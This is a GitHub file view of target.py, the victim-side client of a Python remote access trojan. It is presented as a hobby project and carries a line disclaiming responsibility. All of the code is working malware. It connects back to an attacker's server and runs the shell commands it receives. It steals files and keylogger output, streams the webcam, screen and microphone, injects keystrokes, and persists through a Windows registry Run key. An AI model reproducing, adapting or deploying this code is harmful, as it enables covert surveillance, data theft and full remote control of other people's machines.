-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtarget.py
More file actions
285 lines (256 loc) · 7.84 KB
/
target.py
File metadata and controls
285 lines (256 loc) · 7.84 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
# Python RAT project by average-joe44
# Does NOT Responsible for any use case!
import sys
import time
import socket
import json
import subprocess
from subprocess import PIPE
import os
import threading
from Logger import Keylogger
import cv2
import pickle
import struct
import pyautogui
import shutil
import pyaudio
from pynput.keyboard import Key, Controller
from mss import mss
import numpy as np
sok = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def send_camera_image(server_ip, port=9999):
cap = cv2.VideoCapture(0)
ret, frame = cap.read()
cap.release()
if not ret:
return
_, img_encoded = cv2.imencode(".jpg", frame)
data = img_encoded.tobytes()
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((server_ip, port))
client.sendall(struct.pack("!I", len(data)))
client.sendall(data)
client.close()
keyb = Controller()
def acc_keystroke():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('[ip_server]', 9995))
while True:
data = s.recv(1024)
if not data:
break
command = data.decode()
try:
if command.lower() == 'enter':
keyb.press(Key.enter)
keyb.release(Key.enter)
if command.lower() == 'space':
keyb.press(Key.space)
keyb.release(Key.space)
else:
keyb.type(command)
except Exception as e:
print(f'{e}')
break
FORMAT = pyaudio.paInt16
CHANNEL = 1
RATE = 44100
CHUNK = 1024
def record_n_send():
audio = pyaudio.PyAudio()
stream = audio.open(format=FORMAT, channels=CHANNEL,
rate=RATE, input=True,
frames_per_buffer=CHUNK)
print('Recording')
frame = []
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('[ip_server]', 9996))
for _ in range(0, int(RATE / CHUNK * 20)):
data = stream.read(CHUNK)
s.sendall(data)
print('Record done')
except socket.error as e:
print(f'{e}')
finally:
print('done')
stream.stop_stream()
stream.close()
audio.terminate()
def execute_persistence(nama_registry, file_exe):
file_path = os.environ['appdata']+'\\'+file_exe
try:
if not os.path.exists(file_path):
shutil.copyfile(sys.executable, file_path)
subprocess.call('reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ' + nama_registry + ' /t REG_SZ /d "' + file_path + '"', shell=True)
else:
pass
except:
pass
def send_screen_record(server_ip, port=9991):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((server_ip, port))
sct = mss()
monitor = sct.monitors[1]
while True:
try:
img = np.array(sct.grab(monitor))
frame = cv2.cvtColor(img, cv2.COLOR_BGRA2BGR)
data = pickle.dumps(frame)
size = struct.pack("Q", len(data))
client.sendall(size + data)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
except Exception as e:
print(f'{e}')
break
client.close()
cv2.destroyAllWindows()
def byte_stream():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(('[ip_server]', 9998))
vid = cv2.VideoCapture(0)
while vid.isOpened:
img, frame = vid.read()
if not img:
break
try:
b = pickle.dumps(frame)
message = struct.pack("Q", len(b))+b
sock.sendall(message)
except (BrokenPipeError, ConnectionResetError, OSError):
break
except Exception:
pass
finally:
try: sock.close()
except: pass
vid.release()
cv2.destroyAllWindows()
def open_log():
sok.send(Keylogger().baca_log().encode())
def log_thread():
t = threading.Thread(target=open_log)
t.start()
def download_file(namafile):
bufsize = 65536
size_data = sok.recv(8)
filesize = struct.unpack("Q", size_data)[0]
if filesize == 0:
return
recv = 0
with open(namafile, 'wb') as file:
while recv < filesize:
data = sok.recv(bufsize)
if not data:
break
file.write(data)
recv += len(data)
def upload_file(namafile):
bufsize = 65536
if not os.path.exists(namafile):
sok.sendall(struct.pack("Q", 0))
return
if os.path.isdir(namafile):
sok.sendall(struct.pack("Q", 0))
return
filesize = os.path.getsize(namafile)
sok.sendall(struct.pack("Q", filesize))
with open(namafile, 'rb') as f:
while True:
data = f.read(bufsize)
if not data:
break
sok.sendall(data)
def terima_perintah():
data = ''
while True:
try:
data = data + sok.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def jalankan_perintah():
while True:
perintah = terima_perintah()
if perintah == ('exit', 'quit'):
break
if perintah == 'clear':
pass
elif perintah[:3] == 'cd ':
try:
os.chdir(perintah[3:])
except FileNotFoundError:
pass
except PermissionError:
pass
except Exception:
pass
elif perintah[:8] == 'download':
upload_file(perintah[9:])
elif perintah[:6] == 'upload':
download_file(perintah[7:])
elif perintah == 'start_log':
Keylogger().start_log()
elif perintah == 'baca_log':
log_thread()
elif perintah == 'clear_log':
Keylogger().clear_log()
elif perintah == 'stop_log':
Keylogger().stop_listener()
elif perintah == 'start_cam':
byte_stream()
elif perintah == 'screen_shot':
ss = pyautogui.screenshot()
ss.save('ss.png')
upload_file('ss.png')
os.remove("ss.png")
elif perintah == 'screen_share':
send_screen_record(server_ip='[ip_server]', port=9991)
elif perintah[:11] == 'persistence':
nama_registry, file_exe = perintah[12:].split(' ')
execute_persistence(nama_registry, file_exe)
elif perintah == 'help':
pass
elif perintah == 'rec_audio':
record_n_send()
elif perintah == 'send_key':
acc_keystroke()
elif perintah == 'snap_cam':
send_camera_image(server_ip='[ip_server]', port=9993)
elif perintah[:7] == 'execute':
if shutil.which(perintah[8:]):
os.system(f"start {perintah[8:]}")
else:
pass
elif perintah[:4] == 'kill':
if shutil.which(perintah[5:]):
os.system(f"taskkill /IM {perintah[5:]} /F")
else:
pass
else:
exe = subprocess.Popen(
perintah,
shell=True,
stdout=PIPE,
stderr=PIPE,
stdin=PIPE
)
data =exe.stdout.read() + exe.stderr.read()
data = data.decode()
output = json.dumps(data)
sok.send(output.encode())
def execute_persist():
while True:
try:
sok.connect(('[ip_server]', 9999))
jalankan_perintah()
sok.close()
break
except:
try: sok.close()
except: pass
time.sleep(1)
execute_persist()